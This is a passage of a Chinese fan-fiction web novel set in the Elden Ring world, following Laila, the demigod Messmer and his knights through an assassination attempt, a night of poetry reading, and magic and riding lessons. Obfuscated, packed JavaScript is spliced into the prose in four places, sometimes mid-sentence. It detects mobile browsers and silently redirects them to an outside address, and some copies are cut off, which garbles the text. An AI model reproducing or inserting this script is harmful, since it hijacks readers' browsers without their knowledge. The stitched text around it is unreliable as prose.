脑袋仿佛停止了思考,紧紧箍在自己腰间的手臂似乎并不想松开,矛盾的情绪在那僵硬的身躯里彼此挣扎撕咬,如同缠绞成一团的蛇,不想放开好不容易到手的猎物。 「……我的。」 隐秘的念头似蜜糖又似毒药,顺着理智的缝隙渗透进去。 梅瑟莫的气息病态地颤了一下,抱着她的力道紧得她有些发痛。 那一刻,她忍不住吃痛地唔了一声,红发的半神终于回过神。 巨蟒松开束缚的力道,她回到地面上时,仍觉得有些头重脚轻,站立不稳。 梅瑟莫本想扶住她,在最后一刻又改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276381|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了主意,生硬地将手收了回去。 “……莱拉。”梅瑟莫嗓音低哑。 她靠着楼梯的扶手,抬起头。 喉咙微动,他扯开目光,似乎无法与她对视。 “下次你应当小心。” 梅瑟莫说出这句话时的语气,就好像在警告她应该小心自己一样。 …… 物种保藏库的事件后,两人之间的气氛变得奇怪起来。 梅瑟莫有意避着她,没有再出现在阅读室,接送她的人再次变成了希德。火焰骑士欲言又止。 “我想一个人走走。” 这当然是不可能实现的。 她在墙垣上吹风时,忠心耿耿的火焰骑士保持着距离,在物种保藏库的门口用视线追随她的一举一动。 阴沉沉的天空云层涌动,幽影树的树冠散发着腐朽暗淡的金色。今天的风比较大,幽影城外的荒野在风中似海浪推涌。立在高高的城垣上,可以将萧瑟荒凉的景色尽收眼底。 除此以外,还有护城河里的河马。那只巨大的河马慢吞吞地护城河较浅的地方漫步,不管是巡逻的士兵还是守城的骑士,都不曾打扰那只生物慵懒的日常。 它头颅巨大,鼻部长着犀牛一般的角,嘴巴遍布发黄的畸齿,张口能直接吞下两个成年人。 那只河马无聊时,她曾见过它从背部变出豪猪般的金色尖刺,远远望去就像一从开花的荆棘。 在城垣上看够了风景,她转过身,一队巡逻的士兵和她擦肩而过。 一只蝴蝶映入她的视野。黑红的身躯如同被火烧过的焦炭,那小小的蝴蝶扑扇着翅膀,轻盈地从她身边飞过。 她的目光下意识追随着那只蝴蝶,它舞姿悠然,体态灵巧。 “……莱拉大人——!”希德脸色大变,突然倾身向前时,那只蝴蝶依然悠然蹁跹,完全没有被城垣上的动静影响。 巡逻队伍末尾的士兵抽出刀,朝她的方向冲了过来。 “黄金树的子民,我们一族的仇人!接受报应吧!!” 几步的距离,她如同身在梦中,根本没反应过来发生了什么。 身体应该动起来的,但她就像被钉在了原地。寒冷地牢中的记忆呼啸而来,她几乎是愣愣地看着那人拔刀朝她砍来。 寒冷的风吹起了发丝,那恶毒诅咒的声音骤然一顿,被苍白的手掐住了喉咙,旋即整个人被向上高高抛起。 视野边缘捕捉到猩红的身影,滚烫的烈焰瞬间燃起。 那人的身影从空中落下,被挑起的长枪猛然从中刺穿。大量的鲜血如雨淋落,金属头盔滚落下来,露出那人血迹斑斑,伤口流脓的脑袋。 为了伪装成普通的士兵,他砍断了头上的角,只留下密密麻麻的血洞。 身体折成两半挂在长枪上,那人依然在嘶声发出咒诅。 “可恨的……穿刺公……梅瑟莫啊!你注定不得好死!” “你注定……咳咳……注定不得……!” 猩红耀目的烈焰燃起,皮肉被烧焦的声音传来。那扭曲的身影痛苦尖叫着,渐渐不再动弹。 高大的半神一甩长枪,将那具尸体撇到地上,动作透出无言的阴戾。 希德不知何时挡到了她身前,但这并不能阻止血液漫到她脚下,浸湿了她长裙的边沿。 “……每隔一段时间就会有这样的暗杀。”希德试图安慰她,言辞笨拙无比。“不是什么新鲜事,您无须担心。” 全城陷入戒严状态,号角的声音响彻阴暗的苍穹。 可怕的表情还没来得及收起来,四目相对的刹那,梅瑟莫身影微僵。 他脸上还有穿刺敌人时溅到的血迹,猩红的血迹沿着苍白的脸庞蜿蜒下来。 她离开希德身边,朝他跑去。 梅瑟莫还未有所动作,她已经抓住他的斗篷,躲到他身后,将脑袋抵在他背上。 ——这是最安全的地方。 13.13 傍晚时分下起了雨。 厚重的城门轧轧升起,一队黑色的重甲骑兵离开幽影城,朝着夜色中飞驰而去。 雨水滂沱,急促的马蹄声敲击着大地,声势如同雷鸣。 那些骑兵身影肃杀,漆黑的铠甲弥漫着雨水无法洗刷的血腥气。他们手持火把,猩红的火光在雨中燃烧不熄,远远望去如同漆黑荒野上蜿蜒的火蛇。 在她的梦里也有火:铺天盖地,仿佛要吞灭世界的火。 黑夜被火光映得通红,宏伟的都城在火海中坍塌燃烧,巨大的雕像在街道之间行走,每一步都引起地面的剧震。它们浑身包裹着烈焰,头颅的部位如同巨大的火盆,抓起挣扎惨叫的活人扔进自己燃烧的身体。 火雨不断从天空坠落,她坐在地上,望着周围楼宇倾塌,人们在末日来临之际四处奔逃。 到处都是刺目的火光,凄厉的惨叫震耳欲聋。太多人的声音混合在一起,悲鸣和诅咒让她头痛欲裂。 奔逃的市民被士兵一刀捅穿,抱着孩子匍倒在地。 神殿的祭司被砍下头颅,从高高的台阶滚落下去。 密密麻麻钉在尖桩上的焦黑尸体,颤抖着张口枯涸的嘴巴。 「……吾等一族的敌人……」 「可恨的……穿刺公梅瑟莫啊……」 那些声音重叠在一起,像污浊的血液流淌下来。 「……你注定不得好死……」 「注定……永受折磨!」 咕咚一声,祭司的头颅滚下台阶,落到她面前。 火海依然在周围熊熊燃烧,一种寒冷的寂静包围过来,隔绝了世间其他声息。 那个头颅长着扭曲盘旋的角,双眼的位置被角穿透。明明不可能视物,也不可能还拥有气息,当那张血迹斑斑的脸对着她的时候,她却诡异地拥有了被注视的感觉。 被砍下头颅的前一刻,它嘴角微弯,分明在笑。 时隔千年,那血肉模糊的脸仿佛捕捉到她的位置,朝她露出了宁静的微笑。 她冷汗涔涔地梦中惊醒。昏暗柔软的光线透过床帐落进来,和狰狞残忍的梦境不同,现实烛光静稳,寝殿内飘浮着安神的熏香。 “……怎么了?”梅瑟莫的声音从近处传来。身着铠甲和斗篷的半神守在床畔,那是她入睡前的请求,此时他正低头望着自己,高大的身躯投下阴影,将床上的她笼罩在内。 她试着开口,声音干涩无比:“梅瑟莫……先生?” 她神情仍有些恍惚,似是有些分不清梦境和现实的区别。 那个身影停顿片刻,低声说:“我在。” 梅瑟莫嗓音微哑,气音如蛇。有什么奇异的情绪在他喉咙深处涌动,让他刹那间流露出蛇一般的特质。但他保持着距离,克制着自己,始终没有做出更进一步的举动。 她小心翼翼地抬起手,轻轻拉住猩红斗篷边沿的一角。 带翼蛇看了过来。它看看她,然后又看看梅瑟莫,随即收起翅膀,尽量缩小自己的存在感。 “……”她说,“可以让我看看你吗?” 梅瑟莫的表情好像空白了片刻。他似乎从未收到过这种请求,一时不知道该如何回应。 带翼蛇在背后用脑袋拱了他一下。见他没反应,又更加用力地拱了一下。 高大的半神俯下身,她抬手碰了碰他的脸。指尖触到苍白的皮肤时,梅瑟莫毫无预兆地颤了颤,气息一下变得有些不稳。 他抑住那奇怪的声音,用钢铁般的意志力重新夺回身体的掌控权。他像雕塑一样,一动不动地坐在床畔,任她轻轻描摹自己的五官。 她动作很轻,甚至有些小心翼翼,像眼盲的人在谨慎地透过触觉判断自己对世界的认知。 她用手指碰了碰他垂下的眼睫,指尖沿着高挺的鼻梁滑落到紧抿的薄唇。 指腹碰到柔软的唇瓣纯属无意,梅瑟莫的喉结动了一下,如同渴水之人一般,下意识想咬住她的指尖。她抬起眼帘时,正好撞入那蛇一般的金色竖瞳。 梦里,那熟悉而陌生的身影立在火海高处,睥睨世间的眼神冷酷无比。 「……暴君!」那些梦中的声音如此咒骂他。 用火屠城、残酷无情的暴君。 “……莱拉。”现实里呼唤她的声音低哑柔软,喉咙仿佛被奇异的火灼烧着,念出她的名字时染着颤意。 如同某种无法抗拒的引力,两人的呼吸声不知何时靠得极近。她清晰地看见梅瑟莫神情中闪过挣扎之色,那一刻他就像饥饿了许久的蛇,连影子都想缠上来。 她的指腹停在柔软的薄唇上,指背已经抵上自己的嘴唇,温热的呼吸声填满了指缝,一种奇怪的期待或是预感,让她如同被蛇绞住的猎物,动弹不得。 苍白宽大的手掌,圈住自己的手腕时,喉咙里的呼吸声忽然下陷。 但是—— “……够了。” 梅瑟莫移开她的手,起身坐了起来。他强迫自己背过身,肩膀处的肌肉僵硬紧绷。 “快睡。”他语气生硬地劝她。 但她却发现自己有点睡不着了。 她侧着身,床帐滑落一半。烛光透过柔软的帐幔,影影绰绰地勾勒出梅瑟莫坐在床畔的背影。 外面在下雨,雨声在夜色里喧嚣又静谧。昏黄的烛光氤氲开来,她听见自己说:“我睡不着。” “……” “温戈给我留了作业。”她道,“他让我试着朗读,但那些读物的词句太复杂,我看不懂。” “……” 她小声开口:“可以帮我读读看吗?” 半晌过后,高大的半神似乎侧了下头。她将一个卷轴递出去,带翼蛇伸头过来咬住了,衔到梅瑟莫面前。 那是一首古老的诗,写在白色的树皮纸上。温戈说那是造诣颇高的文学作品,非常具有研读意义。 “……他就象天神一样快乐逍遥,”那个声音低低念道,“他能够一双眼睛盯着你瞧,他能够坐着听你絮语叨叨……” 「……只要看你一眼,我立刻失掉 言语的能力; 舌头变得不灵;噬人的感情 象火焰一样烧遍了我的全身, 我周围一片漆黑;耳朵里雷鸣; 头脑轰轰。 我周身淌着冷汗;一阵阵微颤 透过我的四肢;我的容颜 比冬天草儿还白;眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305826|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里只看见 死和发疯。」① 梅瑟莫念了个开头就没有了声音。她等啊等,始终没有等来下文。 “怎么了?”她支起身体。 “……无事。”梅瑟莫的声音古井无波,“温戈给了你错误的卷轴。” 她有些惊讶,但没有多问。 梅瑟莫合拢卷轴,将那首诗放到一边。 按理说,他应该将东西还给自己。那毕竟是她的作业。 她瞅着梅瑟莫,没有出声。 片刻后,她将另一卷诗集递出去。 “这个也拿错了吗?” 梅瑟莫看了过来,她表情隐含期待,一瞬不瞬地望着他。 半晌,他抬手接过卷轴。 柔软的树皮纸展开来,古老的字迹被烛光镀上一层昏黄的色泽。 “晚星带回了,曙光散布出去的一切,带回了绵羊,带回了山羊,带回了牧童回到母亲身边。”② 她躺回枕头上,侧身望着他。 “月已没,七星已落,已是子夜时分,时光逝又逝,我仍独卧。”③ 梅瑟莫的声音低沉平缓,微凉似拂过平野的夜风。 他的声音很好听,哪怕嗓音不含情绪,语气没有起伏,像贴伏于地的蛇,缓慢沿着地面游曳。沙沙作响的声音不可思议地抚慰人心,让她忍不住想让他继续念下去,不要止住那低哑的声音。 “我恨我爱。为何如此?你或许问。” 梅瑟莫顿了一下,她依然在用那种亮晶晶的眼神看着他。红发金眸的半神转回视线,垂下眼帘,继续念道: “我亦不知,我有所感,我心如煎。”④ 屋外,雨还在下。淅淅沥沥的雨声,不断沿着屋檐朝夜色中落去。 “……清凉的水滩边,细风正在苹果的树枝间穿行,从微微颤抖的树叶上滴落下睡意。”⑤ “……就像牧羊人践踏山间的风信子,紫色的花朵在地面上倒落并凋谢。”⑥ 蜡烛缓缓融化,带翼蛇盘成一团,卧在梅瑟莫怀里。 眼皮逐渐变得沉重,低沉而充满磁性的嗓音落入耳中麻酥酥的,像是一双大手按摩着头皮。她不由得放松下来,如同依偎在篝火边的旅者,枕着炭火噼啪燃烧的声音,意识逐渐滑向甜美的黑暗。 读诗的声音渐渐低下去,最后完全止息。 差点睡着的带翼蛇微微抬起头,看着梅瑟莫站起身。 床帐内,少女不知何时蜷着身子睡着了,呼吸均匀绵长。 高大的半神垂下眼眸。 “……梅瑟莫大人。” 背后,火焰骑士单膝跪地,头颅垂得很低。 “这次护卫不利,是属下失职。” 雨夜黑暗,室内的烛光将阴影拖得很长。红色的带翼蛇张开翅膀,缠回梅瑟莫身侧。 “……罢了。”梅瑟莫说,“那群角人的残党,处理得如何了?” “位置已经确认无误。”希德低声回复,“天亮前就能解决。” “那具尸体?” “已经交给温戈大人处置。” 梅瑟莫收回目光,看向屋外的夜雨。 “灵魂也烧干净。”他说。 14.14 红色的花岗岩纹理粗糙,白色的大理石光洁如玉。巨大的柱廊托起穹顶,池中的粼粼波光和燃烧的火把交相辉映。 这是仅对一人开放的浴场,隐藏在幽影城的地底深处。 长方形的冷水池由柱廊环绕,壁龛中的雕塑垂首敛目。高大的半神取下头盔,显出猩红如烈焰的头发。那个身影拆下猩红的斗篷,冰冷的锁子甲随着一声轻响坠地,如同蜕皮的蛇,剥露出苍白瘦削、畸形可怖的身躯。 双头的带翼蛇穿胸而过,透肩而出,一条向上绕过左肩,一条向下缠着大腿,像穿过人体血肉的缝针,硬生生改变了脊骨原本的弧度,让其变得难以抻开。宽阔的肩膀左高右低,高瘦的身躯向前弯曲,被带翼蛇穿透的胸口和肩胛骨,俱可见深深的血洞。 冰冷的池水漾开纹理,那个身影缓步没入水中。他的左目从出生起就不能视物,右目跟着瞎掉后被金色的义眼填充。义眼能见的清晰度逐年递减,他也因此学会了靠和自己共感的带翼蛇视物。 窸窸窣窣,蛇鳞摩挲的声音传来,红色的带翼蛇绕到半神的肩头,乖巧地伏在他颈边。 被惊扰的水面重新合拢,再次变得平滑如镜。 没到胸口的池水冰冷刺骨,但丑陋的火焰依然在体内燃烧。水面的倒影显出一张阴郁冷峻的脸,猩红的头发沿着肩背散落,微卷的发梢如同火焰蜷曲的细丝,将皮肤衬得更加病态苍白。 在普通人看不见的地方,在他体内的黑暗深处,扭曲缠绕的恶之蛇蠢蠢欲动,仿佛要破开他右眼的封印爬行而出。 他的身体是蛇窝,在薄薄的血肉之下,蠕动着随时要破皮而出的深渊诅咒。 母亲赐予他的光辉——用来封印他体内恶蛇的金色义眼,光芒在逐年变得黯淡。终有一天,他会彻底失去人形,被体内的黑暗吞没。 这是早已注定好的命运,从他带着诅咒降生于世的那一天,就写好了最终的结局。 梅瑟莫早已学会接受他的命运,在漫长时光中和他作伴的带翼蛇也是如此。 但也许是封印在减弱的缘故,恶之蛇的欲望最近开始影响他的心神,啃噬他的理智。 想要吞噬、想要吞吃的欲望愈发强烈,如同体内燃烧不息的火种,时时刻刻让他备受煎熬。 红发金眸的半神靠上池壁,抬手捂住脸,仿佛这样就能扼住那些蠢动的念头,压住那涌到喉头的沙哑呻吟。 “……” “……” “莱拉大人。”希德的声音让她回过神。 两人走在前往物种保藏库的路上。幽影城前不久解除了戒严状态,她也恢复了平时的行程。虽说解除了戒严状态,希德再三向她保证,幽影城目前就连一只陌生的蝙蝠都飞不进来。 “难道还有熟悉的蝙蝠和陌生的蝙蝠的区别吗?”她很好奇。 “那当然。” 物种保藏库一共有十七窝蝙蝠,在漫长的岁月中,那些蝙蝠已经变得和家养的差不多,一眼就能看出和外面野生蝙蝠的区别。 “河马呢?” “河马也有家养和野生的区别。” “我以后可以负责照顾护城河的那只河马吗?”她觉得自己找到了就业方向,“它的牙齿看起来很久没清理过了,非常需要人帮忙” 希德试图改变她的想法:“作为护城的河马,它吞食过不少尸体。” “那就更需要刷牙了,不是吗?” 希德无言以对。 走到阅读室门口,里面传来温戈和萨赞辩论的声音。 “应徐徐图之。”萨赞如此建议。 “应乘胜追击。”温戈如此回复。 “你们在说什么?”陌生的声音来自没有戴着面具和兜帽和火焰骑士。她觉得那人的身影有些眼熟,忽地想起这不是那个躺在教区地板上以泪洗面的怪人吗? 和当时的消沉颓唐不同,他现在看起来倒是十分正常,顶多就是胡子拉碴了一些,如同锅盖倒扣的发型也有待商榷,充斥着中世纪的骑士风。 面对提问,温戈笑呵呵地说:“兵法。我们在谈论兵法,对吧,萨赞?” “……” 希德提醒她:“这位是昆兰。” 被点到名字的火焰骑士朝她郑重行了一礼:“上次让您见笑了。我愿领受鞭笞,以示歉意。” 希德说昆兰参与了前几天的剿灭角人行动,因此又满血复活了。至于鞭笞的部分,她不用理会,完全当成耳边风就好。 “尊敬的女士,请您鞭笞我吧!” 昆兰啪的一声,单膝跪地。 她无意识倒退了几步。 希德伸出手,直接将昆兰连拖带拽地提走了。旁观全程的温戈和萨赞都是一副见怪不怪的模样。 待动静远去,阅读室再次安静下来,温戈笑眯眯地开口:“好了,我们也差不多该开始上课了。” “经过商议,我们决定对课程进行一些调整。”萨赞嗓音嘶哑。 所谓的课程调整,是让她开始学习基础的生存手段。 她多出了草药课,解剖课,基础的近身格斗也提上了日程。 至于魔法的基础原理和使用方法,温戈说会有特殊的讲师前来授课。 那位特殊的讲师身着银辉明亮的优雅盔甲,肩头缀着青金色的斜式披肩,身材高挑挺拔,与其说是纤弱的魔法师,不如说看起来更像一位威风凛凛的骑士。 在壁炉旁站定,那高挑的身影摘下银色的头盔,露出一头如瀑青丝,和白皙姣好的面容。 “初次见面,我是蕾菈娜。”对方的眼瞳是深邃的蓝色,美丽如月辉皎洁的夜空。 那位女骑士朝她弯唇一笑,嗓音温和明朗:“愿月亮的光辉常伴您身侧。” 许是她发呆得有些明显,希德警铃大作:“莱拉大人?” 希德喊了她几次,她才回过神。 “噢,”她结结巴巴地说,“很……很荣幸认识你,我是莱拉。” 突然有些手不知道该往哪里放,她忘记了温戈之前教过她的礼数,下意识朝对方伸出手。 黑发蓝眸的女骑士低下头,看了一眼她的手。在她将手缩回去之前,女骑士托住她的指尖,动作自然地在她指背落下一吻,行云流水般的动作优雅无比,轻易便化解了尴尬的氛围。 “我亦深感荣幸。” “……”她本来是想和对方握手的来着。 这下不止是手背,脸颊也烧了起来。 希德的声音更加警惕了:“莱拉大人,您是来上课的。”火焰骑士往前动了动,似乎想将她遮到身后。 “说的是。” 蕾菈娜直起身。黑发蓝眸的女骑士站起来时足足比她高出一个头,举手投足都优雅从容。 “让我们开始吧。” 讲解魔法原理时,蕾菈娜喜欢进行现场演示,因此教室并不拘泥于室内,教学内容也不局限于书本。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399810|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 英姿飒爽的女骑士擅使双剑,是魔法大家,亦是剑术大师。她曾是卡利亚皇室的公主,来自和黄金王朝征战多年、最后通过联姻结盟的古老魔法世家。 她的家乡气候潮湿,湖泊众多,悬崖飞瀑蔚为壮观。由卡利亚皇室管理的魔法学院建立在高高的山峰上,俯瞰着雾气迷蒙的城镇。 她本是金尊玉贵的公主,是卡利亚皇室的下任继承者之一。 “为什么会加入梅瑟莫军,参与圣战?” 蕾菈娜说,那是年少时的一见倾心。 “……可惜他脾气古怪,顽冥不灵。”她笑着摇头,“幽影城的城主比幽影城更加难以攻克。” 蕾菈娜管理的恩希斯城位于幽影高原的东南方,在通往幽影城的必经之路上,是重要的前哨和军事要塞。 提及梅瑟莫时,蕾菈娜语气熟稔,仿佛两人是多年的好友,信赖关系十足。 “你呢?” 话题忽然转回到她身上,她被打了个措手不及,一时不知对方问的是她对梅瑟莫的看法,还是她留在幽影城的原因。 她张了张口,但没有答案出来。 高挑的女骑士笑了笑,神情有种过来人的了然。 她抬起手,将散落下来的一丝乌发别回耳后。 “来吧,让我们继续。” 蕾菈娜执起长剑,“让我教你痛殴……敌人的剑法。” 她差点忘了提醒对方,她们上的是魔法课来着。 结束一天的课程回到塔楼时,负责护送她的火焰骑士一直在嘀嘀咕咕。希德说要和温戈重新商量一下课程的安排,恩希斯城的城主怎可擅离职守。这不妥,很不妥。 希德心事重重,她亦是如此。那句她未能回答的提问,一直在脑海里徘徊不去。洗漱后,她回到床上准备休息,但堆满软枕和毛毯的床榻,不知道为什么让她觉得空空荡荡,心里也难受得紧。 帐外传来置物的轻响,她撩开床帐,正好看见梅瑟莫放下什么东西准备离开的背影。 她一整天都没见到他了。 念及此,身体仿佛有自我意识一般地动了起来。她离开床榻,急切喊道: “梅瑟莫先生。” 正要离开的背影停了下来。 他不转过身,就这么一直背对着她。 “是有什么事吗?”她用近乎期待的语气问道。 梅瑟莫微微侧身,视线扫过她赤足踩在石砖地面上的双脚,很快移开目光。 “萨赞托我将此物送给你。”他嗓音清冷,没有波澜,“这能助眠,避免你被异物打扰。” “……啊,”她说,“谢谢。” 眼见梅瑟莫又要迈开步伐,她赶忙道:“诗歌!” 在红发金眸的半神看过来时,她小声补充:“诗歌还没读完。” “……” 烛光静稳,昏暗柔和的光芒勾勒出两人的身影。 他很高,所以她得一直保持视线向上。 阳台的夜风吹起了幔帐,单薄的寝衣贴到身上。梅瑟莫错开视线,抬起手,壁炉里的火光燃烧起来,驱散了周围夜晚的寒意。 “我今天还有要事。” 带翼蛇似乎想咬他,但又没舍得下口。最后只能无奈地圈在梅瑟莫肩上,和高大的半神一起离开寝殿。 她立在桌边,垂下视线,打开梅瑟莫带来的盒子。 一只金子打造的蛇形手镯,静静映入眼帘。 15.15 交界地和幽影地,一个为表世界,一个为里世界,幽影树和黄金树的关系也是如此。 幽影城背靠幽影树而建,常年笼罩在晦暗的阴影里。尽管如此,对于幽影城的众人来说,这里依然是距离故乡最近的地方,是最能接近黄金树恩泽的场所。 很久很久以前,当幽影树的恩泽还未枯竭之时,纯金的树液滴落下来,能填满树底下的巨大圣杯。 那些树液能增强人的体质,为人们提供祝福。收集树液曾是幽影城最重要的仪式之一。 那仪式如今荒废许久,空涸的圣杯也爬满了枯藤。 希德说那差不多是一千年前的事了。世界如同巨钟被人敲响,黄金树的震怒仿佛海啸地震,哪怕远在幽影地,他们也感受到了那怒涛的余波。 人们都说,幽影树的枯竭一定是某种惩罚。从那一日起,永恒女王玛莉卡彻底收回了她的恩赐,闭眼不再看顾这片大地。 「我们做错了什么?」人们惶惑不安,彼此询问。 「是什么致使了黄金树的愤怒?」神职人员们禁食祷告,多日滴水未进。 然而,不论人们如何呼求,如何祈祷,都不曾收到任何回应。 「我们有罪了!」一些人如此高呼。 「我们有罪了!」 幽影树尚未枯竭时,人们尚能怀抱归乡的期待。当恩赐断绝时,那最后一丝自欺欺人的侥幸也被残忍揭去。 没有人明白他们为什么会被黄金王朝放逐遗忘。没有人能够理解,他们为了圣战舍弃一切,最后换来的却是被抛弃的结果。 在无尽的惶惑和绝望中,一些细小的声音诞生了。 「梅瑟莫不是玛莉卡大人的孩子吗?」 那些声音窃窃私语着,究竟是怎样的罪,才会让玛莉卡连自己的亲生骨肉都要舍弃。 如同溪流汇聚,那些声音后来渐渐大起来。 手刃仇敌和手刃曾经的同伴是截然不同的体验。 对于忠于梅瑟莫的火焰骑士来说,那是一段不怎么让人想回首的过去。 枯黄的野草在风中如海浪翻涌,叶片如针的松林高高耸立。这是幽影城后门的一片平野,和幽影树的树根接壤,也是圣杯的所在之地。 黯淡的金芒在空中飞舞,萧瑟凉风卷起了野草麦芒。火焰骑士随侍她身旁,她今天换了轻便保暖的骑装。希德说魔法课暂缓几天,打好骑术基础才是眼下最要紧的事。 她一开始以为这里的骑术指的是骑马,后来才发现要骑的可能是野猪。 那巨大的野猪身披铠甲,锋锐的獠牙能捅穿钉板。骑在它背上的骑士穿着重甲,手里握着长矛般的巨剑,面部五官被头盔遮得严严实实。 希德告诉她,盖乌斯大人是梅瑟莫军中数一数二的人物,他曾在圣战中立下赫赫战功,和蕾菈娜大人同为梅瑟莫大人的左膀右臂。 她和那头野猪对视良久,终于忍不住抬头发问: “它叫什么名字?” 那骑士的肩膀震动起来,她片刻才反应过来对方在笑。 “将军。”头盔后传来的声音豪爽豁达,倒是冲淡了他给人威压颇重的初印象。 盖乌斯拍拍身下的伙伴:“它的名字是将军。” 巨大的野猪哼哧了一声,似是做出回应。 希德及时出声提醒:“莱拉大人,您是来学习骑马的。” 听到她不是来骑野猪的,一股淡淡的失落顿时涌上心头。 她“噢”了一声,收回差点伸出去的手。 那野猪骄傲地看了她一眼,微微抬起獠牙。 ……还是梅瑟莫的带翼蛇比较亲人。她不无遗憾地想。 “小姑娘,你想学习骑野猪吗?” 盖乌斯饶有兴趣地问她。 、 她诚实地点了下头。 “那就来吧。” 火焰骑士大惊:“盖乌斯大人,此事不可。” “将军有分寸,你不用担心。”盖乌斯挥挥手,“再说了,学会骑野猪后,骑马还不是手到擒来。” 说着,就利索地翻身下马,啊不是,下猪。 盖乌斯落地后,她才注意他膝盖以下肌肉萎缩,和强壮的上半身形成了鲜明对比。骑在野猪背上时威风凛凛的身影,平时只能以膝触地,用手臂的力量支撑自己行动。 对于自己腿部的残疾,盖乌斯不以为然,也并不介意他人的打量。 “你还想骑野猪吗?” “想。”她答得毫不犹豫,盖乌斯笑起来,巨大的野猪晃了晃脑袋,吐出一口气,慢慢卧下身来,让她爬上去。 它背脊太宽,她无法跨坐,于是侧着身子坐在鞍上,握好缰绳。 确定她坐稳了,将军慢慢站起身,像老牛漫步一样,朝前方迈开步伐。 凉风吹起了鬓边的发丝,枯黄的野草向远方蔓延。漆黑的高塔耸立在平野尽头,顶部形如弯月,如同祭仪时人们捧上的器皿,象征承接幽影树的恩泽。 将军步伐慢悠,走得稳当,和冲锋陷阵时的勇猛截然不同,如盖乌斯所说,确实是非常有分寸的一只野猪。但希德仍有些不放心,将军个头很高,是巨型野猪,哪怕只是从上面栽下来,对普通人来说也够呛。 火焰骑士亦步亦趋地跟在一旁,盖乌斯倒是做起了甩手掌柜,他笑呵呵地靠在门边,看着将军带着她慢悠悠地在周围晃了一圈,回到原地。 “河马也能骑吗?”她问他。 盖乌斯愣了一下,旋即大笑出声。 “能,当然能。”他说,“谁规定了河马不能骑?” 他一拍大腿:“想骑就骑,这个先例就由你来开。” 希德在一旁欲言又止。 她练习了一下午的骑术,直到日头西斜,仍有些意犹未尽。 盖乌斯说他的住所就在不远处。他和他的伴侣膝下无子,已经许久没有访客,若她不嫌弃,可以在他们那留宿一晚,顺便和将军培养培养感情。 她心动了。 “莱拉大人……”希德似乎想说什么,但盖乌斯揽住火焰骑士的肩膀,将她带到一旁的角落里嘀咕了些什么。两人谈完后,希德虽有些不情愿,倒没有继续出言劝阻。 “回去复命吧,”盖乌斯说,“那家伙阴沉沉地闭门不出又不是第一天了,多阴沉几天也没什么。” 盖乌斯的伴侣是一位名叫阿尔玛的女性,她骑在威风凛凛的银狼背上,身着蓝银锁子甲,披着长袍,细长的睫毛如霜雪洁白,整个人都像从冰雪中雕出来的,瞳孔是非常独特的灰蓝色。 阿尔玛和盖乌斯一样,无法直立行走,平时都靠坐骑出行。两人住在舒适宽敞的木屋里,屋里的台面皆低矮。气派的壁炉火光温暖,木地板上铺着花纹繁丽的厚毯。 “很荣幸接待您,莱拉大人。” 她有些惊讶,没想到对方会知道自己的名字。 灰蓝色的眼眸微微一弯,阿尔玛道:“幽影城内没有新鲜事。” “这一千年来,只要稍微有点什么变化,很快便会人尽皆知。”对方微微垂首,“还请您原谅我们这些人的好奇心。” 她连忙摆手。 那头银灰色的巨狼,从进门起就一直盯着自己。 “这是我的伙伴,维克。”阿尔玛笑着解释,“若是您不介意的话,还请您伸出手,让维克熟悉一下您的气味。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434240|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 似是许久没有见到踏足自己领地的其他生物,得到许可后,那头巨狼凑近前来,警惕而矜持地嗅了嗅她的味道。 入夜后,窗外变得一片漆黑。三人在壁炉前席地而坐,享受了一顿丰盛的晚餐。 酒足饭饱后,阿尔玛靠着身后的巨狼,和她闲聊起来。 她说她和盖乌斯都是白金之子。白金之子是人造生物,血液浓稠凝固,生来便无法直立行走。他们不受黄金树的赐福,被认为是污秽的存在,但梅瑟莫并不在乎这些,反而重用盖乌斯和他的族人。 也许是都背负诅咒的关系,梅瑟莫和盖乌斯颇有些惺惺相惜,后来也确实成了莫逆之交。 “……诅咒?”她捕捉到一个关键词,阿尔玛却像一不小心说漏嘴了似的,很快转移了话题。 银色的巨狼惬意地梳理着毛发,一边梳理,一边用那双浅灰色的眼瞳望着她的方向。 “维克。”阿尔玛说,“可以让我们的客人摸摸你吗?” 